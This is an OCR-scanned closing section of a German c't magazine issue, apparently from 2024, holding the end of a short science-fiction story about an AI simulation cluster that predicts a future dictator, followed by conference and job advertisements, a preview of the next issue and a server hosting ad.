waren die Zuschauerzahlen Ihrer dlteren Videos. Sie steigen
kontinuierlich, selbst wenn Sie nichts veroffentlichen. Das
ist hochst bemerkenswert.”

Keyn verstand erst nicht - aber dann tat er es doch. Sein
»Von was reden Sie?“ klang daher wie ein letzter Fluchtver-
such.

Mr Dunning stiitzte sich an den Sessel am Tischende,
diesen Thron aus Leder und Luxus, bevor er offenbarte:
»Gerade IThnen brauche ich vermutlich nicht zu erklaren, wie
esim Moment um unser Land, ja eigentlich den ganzen Pla-
neten steht: Die Globalisierung hat alle ein bisschen reicher,
aber uns hierzulande bedeutend drmer gemacht. Die grofie
Krise war bestenfalls ein Aperitif auf das, was uns jetzt noch
bevorsteht. Und das wiederum kann nicht einmal die kon-
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servativste Regierung unter Kontrolle halten oder die reform-
willigste Regierung l16sen. Was folgt, werden voraussichtlich
Enteignungen, Aufstinde, Chaos und Schlimmeres sein. Wir
befiirchteten lingst, ein Demagoge konnte sich an die Spit-
ze der Unzufriedenen stellen. Nun wurde er uns von einem
Orakel prophezeit, das ihn gewissermafien aus dem Nebel
der Wahrscheinlichkeiten geholt hat.”

»Moment", sagte Keyn, weil er einen brauchte. ,Soll das
heiflen -? Was soll das heiflen?“

Mr Dunning und Ms Kruger fixierten ihn mit ihren Bli-
cken. ,,Sie werden der nachste Stalin sein, der ndchste Mao,
Hitler, Franco - ein weiteres Monster fiir die Geschichts-
biicher.”

Erst jetzt bemerkte Keyn, dass er keuchte.

»Und ... und was passiert jetzt?, fragte er heiser.

»Das Gute ist“, antwortete Mr Dunning, ,dass man
kiinstliche Intelligenz nicht blof3 analytisch einsetzen kann.
Sie kann auch generativ arbeiten. Dass allzu viele Wirt-
schaftsakteure diesen Umstand gewinnbringend ausnutzten,
hat ja vor Jahren mit dazu beigetragen, dass es zur grofden
Krise kam.“

Keyn blickte ausgesprochen verwirrt. Ms Kruger schau-
te ihm fest in die Augen und erklérte: ,,Um Wahrscheinlich-
keiten zu beeinflussen, gibt es fast immer irgendwelche
Wege. Mehr oder weniger taugliche. Manchmal hilft es
schon, gewissermaflen einen Punkt zu setzen, der nach ge-
wohnlichem Ermessen niemals auftauchen wiirde. Wir
haben die leistungsfahigsten Rechner aller Universitaten des
Landes zu einem Simulationscluster zusammengeschaltet
und sie mit allem trainiert, was die zuvor konsultierten KIs
herausgearbeitet hatten. Dann hat dieser Cluster zahllose
Simulationsgange durchgefiihrt. Er sollte die eine Bewegung
im Ablauf finden, die man in Richtung geringstmoglicher
Wahrscheinlichkeit drehen muss, um - ich sage es mal bild-
haft - den Strahl der Geschehnisse von jetzt ab ein wenig
abzulenken. Wenigstens weit genug, damit etliche der pro-
gnostizierten Ereignisse nicht eintreten.

,»Und ...“, erwiderte Keyn tonlos. ... zu welchem Ergeb-
nis sind Sie gekommen?“

Ms Kruger und Mr Dunning sahen einander an.

Die Stimme der Frau war sanft, als sie unvermittelt frag-
te: ,Sagen Sie, Mr Keyn, haben Sie jemals mit dem Gedanken
gespielt, als Sanger in einer Casting-Show aufzutreten?“

»Wie kommen Sie auf so etwas? Ich bin vollkommen
unmusikalisch!, stie} Keyn hervor.

Mr Dunning richtete sich auf und ging auf ihn zu.
»Genau. Wir haben da mal etwas vorbereitet. Keine Angst,
es tut nicht weh. Oh, ich muss mich korrigieren: Ihnen wird
es nicht weh tun. (psz@ct.de) ct

Die c't-Stories als Horversion

Unter heise.de/-4491527 kdnnen Sie einige c't-Stories als
Audiofassung kostenlos herunterladen oder streamen.
Die c't-Stories zum Zuhoren gibt es auch als RSS-Feed
und auf den bekannten Plattformen wie Spotify, Player
FM und Apple Podcasts (ct.de/yz13).
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Werden agile Methoden von der Teamebene auf eine groBere Organisation lbertragen, spricht man von agiler
Skalierung oder Skalierung agiler Methoden. Agilitat wird damit auf alle Bereiche der Wertschopfung ausgeweitet.

Highlights aus dem Programm:

* Die sieben Todstnden agiler Skalierung

* Flow optimieren, statt den Mangel verwalten

* Denkmodell statt Framework: (Kein) Scaling mit Flight Levels

Die Konferenz richtet sich an Agile Coaches und andere Fihrungskrafte.

L] JL) © ELE J e

C

Gr7...
Veranstalter iﬂ:«?&’{:;ﬂua I'._'] dpunkt.verlag Kooperationspartner coach.de

ArchDoc 2024

Softwarearchitekturen effektiv und
effizient dokumentieren

Softwarearchitektur-Dokumentation muss nicht kompliziert sein.
Lernen Sie einfache und moderne Methoden daflir sowie Best Practices

und Tipps und Tricks von Profis.

Highlights aus dem Programm:
* Maximal sparsam: Der Architecture Communication Canvas

* C4 Documentation blow your mind
= Architketurdokumentation mit Hilfsmitteln aus dem Domain Driven Design

Die Konferenz richtet sich an Softwarearchitektinnen, Entwickler
und IT-Projektmanager.

G
Veranstalter iﬂ?’:&ﬁ’;?ﬁ?\u " . dpunkt.verlag

JENSEN UND
KOMPLIZEN




Die Prasidentin des
Bundesarbeitsgerichts

Das Bundesarbeitsgericht in Erfurt sucht zum néchstmog-
lichen Zeitpunkt fiir die Verwaltung eine Mitarbeiterin/
einen Mitarbeiter (m/w/d) fiir die Bereiche

»IT-Sicherheit, IT-Compliance
und IT-Governance*

Die Tatigkeit vereint anspruchsvolle Aufgaben aus dem
Bereich der Informationstechnik und des Projektmanage-
ments mit der Kldrung rechtlicher Fragestellungen und
deren administrativer Umsetzung.

Weitere Informationen
finden Sie unter:

Wir freuen uns auf lhre Bewerbung bis zum
31. August 2024.

/» heise

JOB
GESUCHT?

Ein gutes Team braucht viele verschiedene
kluge und kreative Kopfe - und gleichzeitig den
Freiraum, diese Potenziale zu entfalten und
einzusetzen.

Gestalte mit uns die Zukunft der Medienwelt!

F

Jetzt informieren und
bewerben unter
karriere.heise.de
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MACH, WAS WIRKLICH ZAHLT.

MR Sl LYK

DUALES STUDIUM: BACHELOR OF LAWS PUBLIC ADMINISTRATION
BUNDESWEIT, MIT SCHWERPUNKT IN MANNHEIM

Mit dem Bachelor-Studium ,Public Administration® werden Sie ideal
auf Ihre verantwortungsvolle Aufgabe in der Bundeswehrverwaltung
vorbereitet. Dabei bauen Sie lhr Fachwissen in der Theorie und Praxis
kontinuierlich aus. Im Anschluss an |hr Studium stehen lhnen verschie-
dene Tatigkeiten und Bereiche der Bundeswehrverwaltung offen, u.a.
in den Bereichen Beschaffungswesen, Finanzen und Controlling,
Personalwesen oder Infrastrukturmanagement und Umweltschutz.

IHR STUDIUM AUF EINEN BLICK

* Sie erhalten in drei Jahren eine qualifizierende Laufbahnausbildung
in der Bundeswehrverwaltung und durchlaufen den Studiengang
+Public Administration” an der Hochschule des Bundes fiir
offentliche Verwaltung in Mannheim.

= Sie bekommen nach erfolgreichem Studienabschluss den
akademischen Grad ,Bachelor of Laws (LL.B.)" verliechen und
erlangen zugleich die Laufbahnbefédhigung fiir den gehobenen
nichttechnischen Verwaltungsdienst.

IHRE QUALIFIKATIONEN

= Sie haben mindestens die Fachhochschulreife, die Hoch-
schulreife oder einen hochschulrechtlich als gleichwertig
anerkannten Bildungsstand.

= Sie besitzen die deutsche Staatsbiirgerschaft und haben
zum Zeitpunkt der Verbeamtung das 50. Lebensjahr noch
nicht vollendet.

IHRE VORTEILE

= Sie arbeiten bei einem anerkannten Arbeitgeber und erhalten
von Beginn an ein attraktives Gehalt.

= Sie kénnen ggf. auf dem Campus oder campusnah wohnen.

= Sie werden zu Beginn Ihrer Laufbahnausbildung zum/zur Beamten-
anwadrter/in erannt und nach einer erfolgreichen dreijdhrigen
Probezeit in den Beamtenstatus auf Lebenszeit iibernommen.

STARTEN SIE IETZT IHRE KARRIERE

Mehr Informationen erhalten Sie auf bewerbung.
bundeswehr-karriere.de (Job-1D: 208S_0425_MAN-E).
Bewerben Sie sich dort bis zum 30. August 2024 fiir
Ihren Studienbeginn ab 1. April 2025.

HABEN SIE FRAGEN?
Herr Ernst (02203 105 2712)
E-Mail: ac-bewerbung-anwaerter@bundeswehr.org

Schwerbehinderte Menschen werden bei gleicher Qualifikation und Eignung bevorzugt 4
eingestelll. Bewerbungen von Frauen sind ausdriicklich erwiinscht. Die Bundeswehr &8
begribt Bewerbungen von Menschen mit Migrationshintergrund.

ZIVILISTIN o

Karriere geht auch ohne Uniform.
Jetzt informieren und bewerben!

o) £

TAT™

oder 0800 9800880 BUNDESWEHR

(bundesweit kostenfrei)
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Vorschau ct 18/2024

Ab 9. August im Handel und auf ct.de

Leicht und schnell: Gaming-Mause

Wer Computerspiele zockt, bei denen es auf Schnelligkeit und Genauigkeit
ankommt, hat andere Anspriiche an die Maus als normale PC-Nutzer. Sie muss
Bewegungen hochgenau erkennen und sehr flink an den PC Gibermitteln. Auf dem
¢’t-Priifstand miissen sich trendige Miuse bewihren: je leichter, desto besser.

SATA-SSDs im Test

Viele altere Rechner sind immer noch
ausreichend schnell fiir Alltagsaufgaben.
Moderne M.2-SSDs eignen sich fiir eine
Speicheraufriistung aber selten, weil pas-
sende Slots fehlen. Wir testen aktuelle
SATA-SSDsund vergleichen sie mit dlteren
Erfolgsmodellen von Crucial und Samsung.

Schwache Konjunktur, stabiler Jobmarkt

Die Wirtschaft schwichelt und die Fachkrifteliicke in MINT-Berufen ist ge-
schrumpft. Es sind aber immer noch rund 244.000 Stellen offen, sagt das Institut
der deutschen Wirtschaft. Wir werfen einen Blick auf die aktuelle Situation und
stellen die Frage nach der Arbeitszufriedenheit in MINT-Berufen.

Brenzlige Akkus

Brennende E-Bike-Akkus, abfackelnde Smartphones im Flugzeug und immer mehr
Verbote von E-Scootern in Offis. Wir untersuchen, wie gefihrlich Akkus sind, und
fragen Experten, Versicherer und Hersteller. Aufderdem: Senken Ladeboxen und
-taschen das Risiko?

Desinfec’t 2024: Neue Werkzeuge fiir die Malware-Jagd

Neuerdings spiiren Experten mit Desinfec’t 2024 noch gezielter Trojaner auf: Mit
frischen Tools wie Capa und Detect It Easy untersuchen die Leser unserer Artikel
unter anderem verdichtige EXE-Dateien, Office-Dokumente und PDFs.

178 Anderungen vorbehalten

Noch mehr
Heise-Know-how
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HETZNER

HIGH POWERED FOR
SMALL BUDGETS

—— f

AX42 MIT AMD RYZEN™ PRO 8700GE
mit 8 Kernen und 64 GB DDR5 ECC RAM

DEDICATED SERVER AX42

v AMD Ryzen™ 7 8700GE
Octa-Core, Phoenix 1 (Zend)

v 2 x 32 GB DDR5 ECC UDIMM

v 2 x 512 GB NVMe SSD

v Unbegrenzter Traffic

+ Standort Deutschland & Finnland

v Keine Mindestvertragslaufzeit

v Setupgebiihr 46,41 €

monatlich ab 5 4,74

Alle Preise inkl. 19% USt und unterliegen den Allgemeinen Geschafts-
bedingungen der Hetzner Online GmbH. Preisanderungen und Irrti-
mer vorbehalten. Alle Rechte bei den jeweiligen Herstellern.

Das Nonplusultra in Preis-Leistung
und Energieverbrauch.

Jetzt Sever bestellen:
htznr.li/CT/AX42

www.hetzner.com
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